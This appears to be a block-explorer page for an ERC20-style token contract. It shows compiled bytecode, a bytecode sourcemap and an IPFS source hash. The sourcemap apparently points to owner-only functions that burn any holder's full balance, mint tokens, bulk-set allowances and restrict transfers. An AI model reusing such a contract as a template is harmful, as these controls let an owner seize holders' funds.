090205481811015610bb05760405162461bcd60e51b815260040161059390610fd7565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610be79084906111b9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c3191906111a2565b60405180910390a3610914848484610660565b60008183610c655760405162461bcd60e51b81526004016105939190610e40565b506000610c7284866111d1565b95945050505050565b80356001600160a01b03811681146104bb57600080fd5b600060208284031215610ca3578081fd5b61045682610c7b565b60008060408385031215610cbe578081fd5b610cc783610c7b565b9150610cd560208401610c7b565b90509250929050565b600080600060608486031215610cf2578081fd5b610cfb84610c7b565b9250610d0960208501610c7b565b9150604084013590509250925092565b60008060408385031215610d2b578182fd5b610d3483610c7b565b946020939093013593505050565b60008060408385031215610d54578182fd5b823567ffffffffffffffff80821115610d6b578384fd5b818501915085601f830112610d7e578384fd5b8135602082821115610d9257610d926113aa565b80820260405182828201018181108682111715610db157610db16113aa565b604052838152828101945085830182870184018b1015610dcf578889fd5b8896505b84871015610df857610de481610c7b565b865260019690960195948301948301610dd3565b509997909101359750505050505050565b600060208284031215610e1a578081fd5b5035919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610e6c57858101830151858201604001528201610e50565b81811115610e7d5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b600082198211156111cc576111cc611394565b500190565b6000826111ec57634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611203575061122e565b81870482111561121557611215611394565b8086161561122257918102915b9490941c9380026111f4565b94509492505050565b600061045660001960ff85168460008261125357506001610456565b8161126057506000610456565b81600181146112765760028114611280576112ad565b6001915050610456565b60ff84111561129157611291611394565b6001841b9150848211156112a7576112a7611394565b50610456565b5060208310610133831016604e8410600b84101617156112e0575081810a838111156112db576112db611394565b610456565b6112ed84848460016111f1565b8086048211156112ff576112ff611394565b02949350505050565b600081600019048311821515161561132257611322611394565b500290565b60008282101561133957611339611394565b500390565b60028104600182168061135257607f821691505b6020821081141561137357634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561138d5761138d611394565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220cde4f6db0e981a4a30188dd352e5e01ac41d5e34b484e76f80e71e55d904778364736f6c63430008000033

Deployed Bytecode Sourcemap

9292:1996:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3087:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4059:201;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;10970:104::-;;;;;;:::i;:::-;;:::i;:::-;;3424:108;;;:::i;:::-;;;;;;;:::i;4274:295::-;;;;;;:::i;:::-;;:::i;3318:92::-;;;:::i;:::-;;;;;;;:::i;4583:238::-;;;;;;:::i;:::-;;:::i;9496:21::-;;;:::i;10563:82::-;;;;;;:::i;:::-;;:::i;3546:127::-;;;;;;:::i;:::-;;:::i;1015:135::-;;;:::i;9468:21::-;;;:::i;9395:62::-;;;:::i;:::-;;;;;;;:::i;5964:65::-;;;:::i;10653:80::-;;;;;;:::i;:::-;;:::i;753:89::-;;;:::i;3201:104::-;;;:::i;10471:83::-;;;;;;:::i;:::-;;:::i;4835:436::-;;;;;;:::i;:::-;;:::i;9369:19::-;;;:::i;3687:193::-;;;;;;:::i;:::-;;:::i;10751:123::-;;;;;;:::i;:::-;;:::i;11084:194::-;;;;;;:::i;:::-;;:::i;10881:81::-;;;;;;:::i;:::-;;:::i;3894:151::-;;;;;;:::i;:::-;;:::i;1164:201::-;;;;;;:::i;:::-;;:::i;3087:100::-;3141:13;3174:5;3167:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3087:100;:::o;4059:201::-;4142:4;4159:13;4175:12;:10;:12::i;:::-;4159:28;;4198:32;4207:5;4214:7;4223:6;4198:8;:32::i;:::-;4248:4;4241:11;;;4059:201;;;;;:::o;10970:104::-;699:13;:11;:13::i;:::-;11032:34:::1;11038:7;11047:18;11057:7;11047:9;:18::i;:::-;11032:5;:34::i;:::-;10970:104:::0;:::o;3424:108::-;3512:12;;3424:108;:::o;4274:295::-;4405:4;4422:15;4440:12;:10;:12::i;:::-;4422:30;;4463:38;4479:4;4485:7;4494:6;4463:15;:38::i;:::-;4512:27;4522:4;4528:2;4532:6;4512:9;:27::i;:::-;4557:4;4550:11;;;4274:295;;;;;;:::o;3318:92::-;3401:1;3318:92;:::o;4583:238::-;4671:4;4688:13;4704:12;:10;:12::i;:::-;4688:28;;4727:64;4736:5;4743:7;4780:10;4752:25;4762:5;4769:7;4752:9;:25::i;:::-;:38;;;;:::i;:::-;4727:8;:64::i;9496:21::-;;;;:::o;10563:82::-;699:13;:11;:13::i;:::-;10623:6:::1;:14:::0;10563:82::o;3546:127::-;-1:-1:-1;;;;;3647:18:0;;3620:7;3647:18;;;;;;;;;;;3546:127;;;;:::o;1015:135::-;1071:71;1098:42;1071:18;:71::i;:::-;1015:135::o;9468:21::-;;;;:::o;9395:62::-;;;-1:-1:-1;;;;;9395:62:0;;:::o;5964:65::-;;;-1:-1:-1;;;;;5964:65:0;;:::o;10653:80::-;699:13;:11;:13::i;:::-;10713:4:::1;:12:::0;;-1:-1:-1;;;;;;10713:12:0::1;-1:-1:-1::0;;;;;10713:12:0;;;::::1;::::0;;;::::1;::::0;;10653:80::o;753:89::-;827:6;;-1:-1:-1;;;;;827:6:0;753:89;:::o;3201:104::-;3257:13;3290:7;3283:14;;;;;:::i;10471:83::-;699:13;:11;:13::i;:::-;10531:6:::1;:15:::0;10471:83::o;4835:436::-;4928:4;4945:13;4961:12;:10;:12::i;:::-;4945:28;;4984:24;5011:25;5021:5;5028:7;5011:9;:25::i;:::-;4984:52;;5075:15;5055:16;:35;;5047:85;;;;-1:-1:-1;;;5047:85:0;;;;;;;:::i;:::-;;;;;;;;;5168:60;5177:5;5184:7;5212:15;5193:16;:34;5168:8;:60::i;:::-;-1:-1:-1;5259:4:0;;4835:436;-1:-1:-1;;;;4835:436:0:o;9369:19::-;;;-1:-1:-1;;;;;9369:19:0;;:::o;3687:193::-;3766:4;3783:13;3799:12;:10;:12::i;:::-;3783:28;;3822;3832:5;3839:2;3843:6;3822:9;:28::i;10751:123::-;699:13;:11;:13::i;:::-;10826:40:::1;10832:7;10855:10;:8;:10::i;:::-;10849:16;::::0;:2:::1;:16;:::i;:::-;10841:24;::::0;:6;:24:::1;:::i;10826:40::-;10751:123:::0;;:::o;11084:194::-;699:13;:11;:13::i;:::-;11179:9:::1;11175:94;11198:3;:10;11194:1;:14;11175:94;;;11231:24;11240:3;11244:1;11240:6;;;;;;-1:-1:-1::0;;;11240:6:0::1;;;;;;;;;;;;;;;11248;11231:8;:24::i;:::-;-1:-1:-1::0;11210:3:0;::::1;::::0;::::1;:::i;:::-;;;;11175:94;;;;11084:194:::0;;:::o;10881:81::-;699:13;:11;:13::i;:::-;10942:4:::1;:12:::0;;-1:-1:-1;;;;;;10942:12:0::1;-1:-1:-1::0;;;;;10942:12:0;;;::::1;::::0;;;::::1;::::0;;10881:81::o;3894:151::-;-1:-1:-1;;;;;4010:18:0;;;3983:7;4010:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3894:151::o;1164:201::-;699:13;:11;:13::i;:::-;-1:-1:-1;;;;;1253:22:0;::::1;1245:73;;;;-1:-1:-1::0;;;1245:73:0::1;;;;;;;:::i;:::-;1329:28;1348:8;1329:18;:28::i;174:98::-:0;254:10;174:98;:::o;7005:380::-;-1:-1:-1;;;;;7141:19:0;;7133:68;;;;-1:-1:-1;;;7133:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7220:21:0;;7212:68;;;;-1:-1:-1;;;7212:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7293:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;7345:32;;;;;7323:6;;7345:32;:::i;:::-;;;;;;;;7005:380;;;:::o;857:144::-;943:12;:10;:12::i;:::-;933:6;;-1:-1:-1;;;;;933:6:0;;;:22;;;925:67;;;;-1:-1:-1;;;925:67:0;;;;;;;:::i;6449:544::-;6544:4;;-1:-1:-1;;;;;6533:15:0;;;6544:4;;6533:15;;6525:61;;;;-1:-1:-1;;;6525:61:0;;;;;;;:::i;:::-;6629:4;;6599:43;;6620:7;;-1:-1:-1;;;;;6629:4:0;6635:6;6599:20;:43::i;:::-;-1:-1:-1;;;;;6680:18:0;;6655:22;6680:18;;;;;;;;;;;6717:24;;;;6709:71;;;;-1:-1:-1;;;6709:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6816:18:0;;;:9;:18;;;;;;;;;;;;6837:23;;;6816:44;;6917:4;;6899:31;;6917:4;;;6899:31;;;;6854:6;;6899:31;:::i;:::-;;;;;;;;6972:4;;6943:42;;6963:7;;-1:-1:-1;;;;;6972:4:0;6978:6;6943:42;:::i;7399:453::-;7534:24;7561:25;7571:5;7578:7;7561:9;:25::i;:::-;7534:52;;-1:-1:-1;;7601:16:0;:37;7597:248;;7683:6;7663:16;:26;;7655:68;;;;-1:-1:-1;;;7655:68:0;;;;;;;:::i;:::-;7767:51;7776:5;7783:7;7811:6;7792:16;:25;7767:8;:51::i;:::-;7399:453;;;;:::o;9725:740::-;9858:9;9870:16;:6;9881:4;9870:10;:16::i;:::-;9910:4;;9858:28;;-1:-1:-1;;;;;;9900:14:0;;;9910:4;;9900:14;9897:561;;;9954:4;;9966:6;;9930:44;;9946:6;;-1:-1:-1;;;;;9954:4:0;;;;9960:13;;:1;;:5;:13::i;:::-;9930:15;:44::i;:::-;9989:54;10005:6;10013:9;10024:18;10035:6;;10030:4;:11;;;;:::i;:::-;10024:1;;:5;:18::i;9989:54::-;9897:561;;;10076:4;;-1:-1:-1;;;;;10063:17:0;;;10076:4;;10063:17;10060:398;;;10120:4;;10132:6;;10096:44;;10112:6;;-1:-1:-1;;;;;10120:4:0;;;;10126:13;;:1;;:5;:13::i;10096:44::-;10155:54;10171:6;10179:9;10190:18;10201:6;;10196:4;:11;;;;:::i;10060:398::-;10230:4;;-1:-1:-1;;;;;10230:4:0;:18;;;;10229:43;;-1:-1:-1;10267:4:0;;-1:-1:-1;;;;;10254:17:0;;;10267:4;;10254:17;;10229:43;:63;;;;-1:-1:-1;10287:4:0;;-1:-1:-1;;;;;10277:14:0;;;10287:4;;10277:14;;10229:63;10226:232;;;10321:47;10337:6;10345:9;10356:11;:1;10362:4;10356:5;:11::i;10226:232::-;10399:47;10415:6;10423:9;10434:11;:1;10440:4;10434:5;:11::i;1379:191::-;1472:6;;;-1:-1:-1;;;;;1489:17:0;;;-1:-1:-1;;;;;;1489:17:0;;;;;;;1522:40;;1472:6;;;1489:17;1472:6;;1522:40;;1453:16;;1522:40;1379:191;;:::o;8960:132::-;9018:7;9045:39;9049:1;9052;9045:39;;;;;;;;;;;;;;;;;:3;:39::i;8708:246::-;8766:7;8790:6;8786:47;;-1:-1:-1;8820:1:0;8813:8;;8786:47;8843:9;8855:5;8859:1;8855;:5;:::i;:::-;8843:17;-1:-1:-1;8888:1:0;8879:5;8883:1;8843:17;8879:5;:::i;:::-;:10;8871:56;;;;-1:-1:-1;;;8871:56:0;;;;;;;:::i;5285:671::-;-1:-1:-1;;;;;5416:18:0;;5408:68;;;;-1:-1:-1;;;5408:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5495:16:0;;5487:64;;;;-1:-1:-1;;;5487:64:0;;;;;;;:::i;:::-;5564:38;5585:4;5591:2;5595:6;5564:20;:38::i;:::-;-1:-1:-1;;;;;5637:15:0;;5615:19;5637:15;;;;;;;;;;;5671:21;;;;5663:72;;;;-1:-1:-1;;;5663:72:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5771:15:0;;;:9;:15;;;;;;;;;;;5789:20;;;5771:38;;5831:13;;;;;;;;:23;;5803:6;;5771:9;5831:23;;5803:6;;5831:23;:::i;:::-;;;;;;;;5887:2;-1:-1:-1;;;;;5872:26:0;5881:4;-1:-1:-1;;;;;5872:26:0;;5891:6;5872:26;;;;;;:::i;:::-;;;;;;;;5911:37;5931:4;5937:2;5941:6;5911:19;:37::i;9098:189::-;9184:7;9219:12;9212:5;9204:28;;;;-1:-1:-1;;;9204:28:0;;;;;;;;:::i;:::-;-1:-1:-1;9243:9:0;9255:5;9259:1;9255;:5;:::i;:::-;9243:17;9098:189;-1:-1:-1;;;;;9098:189:0:o;14:175:1:-;84:20;;-1:-1:-1;;;;;133:31:1;;123:42;;113:2;;179:1;176;169:12;194:198;;306:2;294:9;285:7;281:23;277:32;274:2;;;327:6;319;312:22;274:2;355:31;376:9;355:31;:::i;397:274::-;;;526:2;514:9;505:7;501:23;497:32;494:2;;;547:6;539;532:22;494:2;575:31;596:9;575:31;:::i;:::-;565:41;;625:40;661:2;650:9;646:18;625:40;:::i;:::-;615:50;;484:187;;;;;:::o;676:342::-;;;;822:2;810:9;801:7;797:23;793:32;790:2;;;843:6;835;828:22;790:2;871:31;892:9;871:31;:::i;:::-;861:41;;921:40;957:2;946:9;942:18;921:40;:::i;:::-;911:50;;1008:2;997:9;993:18;980:32;970:42;;780:238;;;;;:::o;1023:266::-;;;1152:2;1140:9;1131:7;1127:23;1123:32;1120:2;;;1173:6;1165;1158:22;1120:2;1201:31;1222:9;1201:31;:::i;:::-;1191:41;1279:2;1264:18;;;;1251:32;;-1:-1:-1;;;1110:179:1:o;1294:1236::-;;;1448:2;1436:9;1427:7;1423:23;1419:32;1416:2;;;1469:6;1461;1454:22;1416:2;1514:9;1501:23;1543:18;1584:2;1576:6;1573:14;1570:2;;;1605:6;1597;1590:22;1570:2;1648:6;1637:9;1633:22;1623:32;;1693:7;1686:4;1682:2;1678:13;1674:27;1664:2;;1720:6;1712;1705:22;1664:2;1761;1748:16;1783:4;1806:2;1802;1799:10;1796:2;;;1812:18;;:::i;:::-;1859:2;1855;1851:11;1891:2;1885:9;1942:2;1937;1929:6;1925:15;1921:24;1995:6;1983:10;1980:22;1975:2;1963:10;1960:18;1957:46;1954:2;;;2006:18;;:::i;:::-;2042:2;2035:22;2092:18;;;2126:15;;;;-1:-1:-1;2161:11:1;;;2191;;;2187:20;;2184:33;-1:-1:-1;2181:2:1;;;2235:6;2227;2220:22;2181:2;2262:6;2253:15;;2277:171;2291:2;2288:1;2285:9;2277:171;;;2348:25;2369:3;2348:25;:::i;:::-;2336:38;;2309:1;2302:9;;;;;2394:12;;;;2426;;2277:171;;;-1:-1:-1;2467:6:1;2505:18;;;;2492:32;;-1:-1:-1;;;;;;;1406:1124:1:o;2535:190::-;;2647:2;2635:9;2626:7;2622:23;2618:32;2615:2;;;2668:6;2660;2653:22;2615:2;-1:-1:-1;2696:23:1;;2605:120;-1:-1:-1;2605:120:1:o;2730:203::-;-1:-1:-1;;;;;2894:32:1;;;;2876:51;;2864:2;2849:18;;2831:102::o;2938:187::-;3103:14;;3096:22;3078:41;;3066:2;3051:18;;3033:92::o;3130:603::-;;3271:2;3300;3289:9;3282:21;3332:6;3326:13;3375:6;3370:2;3359:9;3355:18;3348:34;3400:4;3413:140;3427:6;3424:1;3421:13;3413:140;;;3522:14;;;3518:23;;3512:30;3488:17;;;3507:2;3484:26;3477:66;3442:10;;3413:140;;;3571:6;3568:1;3565:13;3562:2;;;3641:4;3636:2;3627:6;3616:9;3612:22;3608:31;3601:45;3562:2;-1:-1:-1;3717:2:1;3696:15;-1:-1:-1;;3692:29:1;3677:45;;;;3724:2;3673:54;;3251:482;-1:-1:-1;;;3251:482:1:o;3738:399::-;3940:2;3922:21;;;3979:2;3959:18;;;3952:30;4018:34;4013:2;3998:18;;3991:62;-1:-1:-1;;;4084:2:1;4069:18;;4062:33;4127:3;4112:19;;3912:225::o;4142:398::-;4344:2;4326:21;;;4383:2;4363:18;;;4356:30;4422:34;4417:2;4402:18;;4395:62;-1:-1:-1;;;4488:2:1;4473:18;;4466:32;4530:3;4515:19;;4316:224::o;4545:402::-;4747:2;4729:21;;;4786:2;4766:18;;;4759:30;4825:34;4820:2;4805:18;;4798:62;-1:-1:-1;;;4891:2:1;4876:18;;4869:36;4937:3;4922:19;;4719:228::o;4952:398::-;5154:2;5136:21;;;5193:2;5173:18;;;5166:30;5232:34;5227:2;5212:18;;5205:62;-1:-1:-1;;;5298:2:1;5283:18;;5276:32;5340:3;5325:19;;5126:224::o;5355:353::-;5557:2;5539:21;;;5596:2;5576:18;;;5569:30;5635:31;5630:2;5615:18;;5608:59;5699:2;5684:18;;5529:179::o;5713:402::-;5915:2;5897:21;;;5954:2;5934:18;;;5927:30;5993:34;5988:2;5973:18;;5966:62;-1:-1:-1;;;6059:2:1;6044:18;;6037:36;6105:3;6090:19;;5887:228::o;6120:397::-;6322:2;6304:21;;;6361:2;6341:18;;;6334:30;6400:34;6395:2;6380:18;;6373:62;-1:-1:-1;;;6466:2:1;6451:18;;6444:31;6507:3;6492:19;;6294:223::o;6522:356::-;6724:2;6706:21;;;6743:18;;;6736:30;6802:34;6797:2;6782:18;;6775:62;6869:2;6854:18;;6696:182::o;6883:397::-;7085:2;7067:21;;;7124:2;7104:18;;;7097:30;7163:34;7158:2;7143:18;;7136:62;-1:-1:-1;;;7229:2:1;7214:18;;7207:31;7270:3;7255:19;;7057:223::o;7285:401::-;7487:2;7469:21;;;7526:2;7506:18;;;7499:30;7565:34;7560:2;7545:18;;7538:62;-1:-1:-1;;;7631:2:1;7616:18;;7609:35;7676:3;7661:19;;7459:227::o;7691:400::-;7893:2;7875:21;;;7932:2;7912:18;;;7905:30;7971:34;7966:2;7951:18;;7944:62;-1:-1:-1;;;8037:2:1;8022:18;;8015:34;8081:3;8066:19;;7865:226::o;8096:401::-;8298:2;8280:21;;;8337:2;8317:18;;;8310:30;8376:34;8371:2;8356:18;;8349:62;-1:-1:-1;;;8442:2:1;8427:18;;8420:35;8487:3;8472:19;;8270:227::o;8502:177::-;8648:25;;;8636:2;8621:18;;8603:76::o;8684:184::-;8856:4;8844:17;;;;8826:36;;8814:2;8799:18;;8781:87::o;8873:128::-;;8944:1;8940:6;8937:1;8934:13;8931:2;;;8950:18;;:::i;:::-;-1:-1:-1;8986:9:1;;8921:80::o;9006:217::-;;9072:1;9062:2;;-1:-1:-1;;;9097:31:1;;9151:4;9148:1;9141:15;9179:4;9104:1;9169:15;9062:2;-1:-1:-1;9208:9:1;;9052:171::o;9228:453::-;9324:6;9347:5;9361:314;9410:1;9447:2;9437:8;9434:16;9424:2;;9454:5;;;9424:2;9495:4;9490:3;9486:14;9480:4;9477:24;9474:2;;;9504:18;;:::i;:::-;9554:2;9544:8;9540:17;9537:2;;;9569:16;;;;9537:2;9648:17;;;;;9608:15;;9361:314;;;9305:376;;;;;;;:::o;9686:148::-;;9773:55;-1:-1:-1;;9814:4:1;9800:19;;9794:4;9839:922;9923:8;9913:2;;-1:-1:-1;9964:1:1;9978:5;;9913:2;10012:4;10002:2;;-1:-1:-1;10049:1:1;10063:5;;10002:2;10094:4;10112:1;10107:59;;;;10180:1;10175:183;;;;10087:271;;10107:59;10137:1;10128:10;;10151:5;;;10175:183;10212:3;10202:8;10199:17;10196:2;;;10219:18;;:::i;:::-;10275:1;10265:8;10261:16;10252:25;;10303:3;10296:5;10293:14;10290:2;;;10310:18;;:::i;:::-;10343:5;;;10087:271;;10442:2;10432:8;10429:16;10423:3;10417:4;10414:13;10410:36;10404:2;10394:8;10391:16;10386:2;10380:4;10377:12;10373:35;10370:77;10367:2;;;-1:-1:-1;10479:19:1;;;10514:14;;;10511:2;;;10531:18;;:::i;:::-;10564:5;;10367:2;10611:42;10649:3;10639:8;10633:4;10630:1;10611:42;:::i;:::-;10686:6;10681:3;10677:16;10668:7;10665:29;10662:2;;;10697:18;;:::i;:::-;10735:20;;9903:858;-1:-1:-1;;;;9903:858:1:o;10766:168::-;;10872:1;10868;10864:6;10860:14;10857:1;10854:21;10849:1;10842:9;10835:17;10831:45;10828:2;;;10879:18;;:::i;:::-;-1:-1:-1;10919:9:1;;10818:116::o;10939:125::-;;11007:1;11004;11001:8;10998:2;;;11012:18;;:::i;:::-;-1:-1:-1;11049:9:1;;10988:76::o;11069:380::-;11154:1;11144:12;;11201:1;11191:12;;;11212:2;;11266:4;11258:6;11254:17;11244:27;;11212:2;11319;11311:6;11308:14;11288:18;11285:38;11282:2;;;11365:10;11360:3;11356:20;11353:1;11346:31;11400:4;11397:1;11390:15;11428:4;11425:1;11418:15;11282:2;;11124:325;;;:::o;11454:135::-;;-1:-1:-1;;11514:17:1;;11511:2;;;11534:18;;:::i;:::-;-1:-1:-1;11581:1:1;11570:13;;11501:88::o;11594:127::-;11655:10;11650:3;11646:20;11643:1;11636:31;11686:4;11683:1;11676:15;11710:4;11707:1;11700:15;11726:127;11787:10;11782:3;11778:20;11775:1;11768:31;11818:4;11815:1;11808:15;11842:4;11839:1;11832:15

Swarm Source

ipfs://cde4f6db0e981a4a30188dd352e5e01ac41d5e34b484e76f80e71e55d9047783
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.